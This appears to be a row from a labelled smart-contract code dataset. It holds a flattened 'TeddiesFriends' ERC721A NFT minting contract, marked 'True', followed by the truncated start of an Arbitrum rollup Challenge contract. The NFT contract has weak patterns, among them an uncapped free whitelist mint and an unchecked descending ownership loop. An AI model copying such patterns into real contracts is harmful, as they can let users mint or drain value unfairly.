function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Creator: Chiru Labs
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
unchecked {
for (uint256 curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
require(quantity != 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract TeddiesFriends is ERC721A, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.009 ether;
uint256 public maxSupply = 3000;
uint256 public maxMintAmount = 10;
uint256 public maxFREEMintAmount = 10;
uint256 public FREEnftPerAddressLimit = 30;
uint256 public FREE_MAX_SUPPLY = 1500;
address[] public whitelistedAddresses;
bool public paused = true;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721A(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if (FREE_MAX_SUPPLY >= supply + _mintAmount) {
require(_mintAmount <= maxFREEMintAmount, "max mint amount per session exceeded");
require(numberMinted(msg.sender) + _mintAmount <= FREEnftPerAddressLimit, "max NFT per address exceeded");
} else {
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(msg.value >= _mintAmount * cost, "Invalid funds provided");
}
}
_safeMint(msg.sender, _mintAmount);
}
function WLmint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
require(isWhitelisted(msg.sender), "user is not whitelisted");
_safeMint(msg.sender, _mintAmount);
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
FREEnftPerAddressLimit = _limit;
}
function setFreeMaxSupply(uint256 _FreeMaxAmount) public onlyOwner {
FREE_MAX_SUPPLY = _FreeMaxAmount;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setFreeMaxMintAmount(uint256 _newFreeMaxMintAmount) public onlyOwner {
maxFREEMintAmount = _newFreeMaxMintAmount;
FREEnftPerAddressLimit = _newFreeMaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | True | [
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|
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../libraries/Cloneable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IChallenge.sol";
import "../rollup/facets/RollupUser.sol";
import "../arch/IOneStepProof.sol";
import "./ChallengeLib.sol";
contract Challenge is Cloneable, IChallenge {
using SafeMath for uint256;
enum Turn { NoChallenge, Asserter, Challenger }
event InitiatedChallenge();
event Bisected(
bytes32 indexed challengeRoot,
uint256 challengedSegmentStart,
uint256 challengedSegmentLength,
bytes32[] chainHashes
);
event AsserterTimedOut();
event ChallengerTimedOut();
event OneStepProofCompleted();
event ContinuedExecutionProven();
// Can only initialize once
string private constant CHAL_INIT_STATE = "CHAL_INIT_STATE";
// Can only bisect assertion in response to a challenge
string private constant BIS_STATE = "BIS_STATE";
// deadline expired
string private constant BIS_DEADLINE = "BIS_DEADLINE";
// Only original asserter can continue bisect
string private constant BIS_SENDER = "BIS_SENDER";
// Incorrect previous state
string private constant BIS_PREV = "BIS_PREV";
// Invalid assertion selected
string private constant CON_PROOF = "CON_PROOF";
// Can't timeout before deadline
string private constant TIMEOUT_DEADLINE = "TIMEOUT_DEADLINE";
bytes32 private constant UNREACHABLE_ASSERTION = bytes32(uint256(0));
IOneStepProof[] public executors;
address[2] public bridges;
RollupUserFacet internal resultReceiver;
uint256 maxMessageCount;
address public override asserter;
address public override challenger;
uint256 public override lastMoveBlock;
uint256 public asserterTimeLeft;
uint256 public challengerTimeLeft;
Turn public turn;
// This is the root of a merkle tree with nodes like (prev, next, steps)
bytes32 public challengeState;
modifier onlyOnTurn {
require(msg.sender == currentResponder(), BIS_SENDER);
require(block.number.sub(lastMoveBlock) <= currentResponderTimeLeft(), BIS_DEADLINE);
_;
if (turn == Turn.Challenger) {
challengerTimeLeft = challengerTimeLeft.sub(block.number.sub(lastMoveBlock));
turn = Turn.Asserter;
} else {
asserterTimeLeft = asserterTimeLeft.sub(block.number.sub(lastMoveBlock));
turn = Turn.Challenger;
}
lastMoveBlock = block.number;
}
function initializeChallenge(
IOneStepProof[] calldata _executors,
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external override {
require(turn == Turn.NoChallenge, CHAL_INIT_STATE);
executors = _executors;
resultReceiver = RollupUserFacet(_resultReceiver);
maxMessageCount = _maxMessageCount;
asserter = _asserter;
challenger = _challenger;
asserterTimeLeft = _asserterTimeLeft;
challengerTimeLeft = _challengerTimeLeft;
turn = Turn.Challenger;
challengeState = _executionHash;
lastMoveBlock = block.number;
bridges = [address(_sequencerBridge), address(_delayedBridge)];
emit InitiatedChallenge();
}
/**
* @notice Initiate the next round in the bisection by objecting to execution correctness with a bisection
* of an execution segment with the same length but a different endpoint. This is either the initial move
* or follows another execution objection
*
* @param _merkleNodes List of hashes of stubs in the merkle root of segments left by the previous round
* @param _merkleRoute Bitmap marking whether the path went left or right at each height
* @param _challengedSegmentStart Offset of the challenged segment into the original challenged segment
* @param _challengedSegmentLength Number of messages in the challenged segment
* @param _oldEndHash Hash of the end of the challenged segment. This must be different than the new end since the challenger is disagreeing
* @param _gasUsedBefore Amount of gas used at the beginning of the challenged segment
* @param _assertionRest Hash of the rest of the assertion at the beginning of the challenged segment
* @param _chainHashes Array of intermediate hashes of the challenged segment
*/
function bisectExecution(
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength,
bytes32 _oldEndHash,
uint256 _gasUsedBefore,
bytes32 _assertionRest,
bytes32[] calldata _chainHashes
) external onlyOnTurn {
if (_chainHashes[_chainHashes.length - 1] != UNREACHABLE_ASSERTION) {
require(_challengedSegmentLength > 1, "TOO_SHORT");
}
uint256 challengeExecutionBisectionDegree =
resultReceiver.challengeExecutionBisectionDegree();
require(
_chainHashes.length ==
bisectionDegree(_challengedSegmentLength, challengeExecutionBisectionDegree) + 1,
"CUT_COUNT"
);
require(_chainHashes[_chainHashes.length - 1] != _oldEndHash, "SAME_END");
require(
_chainHashes[0] == ChallengeLib.assertionHash(_gasUsedBefore, _assertionRest),
"segment pre-fields"
);
require(_chainHashes[0] != UNREACHABLE_ASSERTION, "UNREACHABLE_START");
require(
_gasUsedBefore < _challengedSegmentStart.add(_challengedSegmentLength),
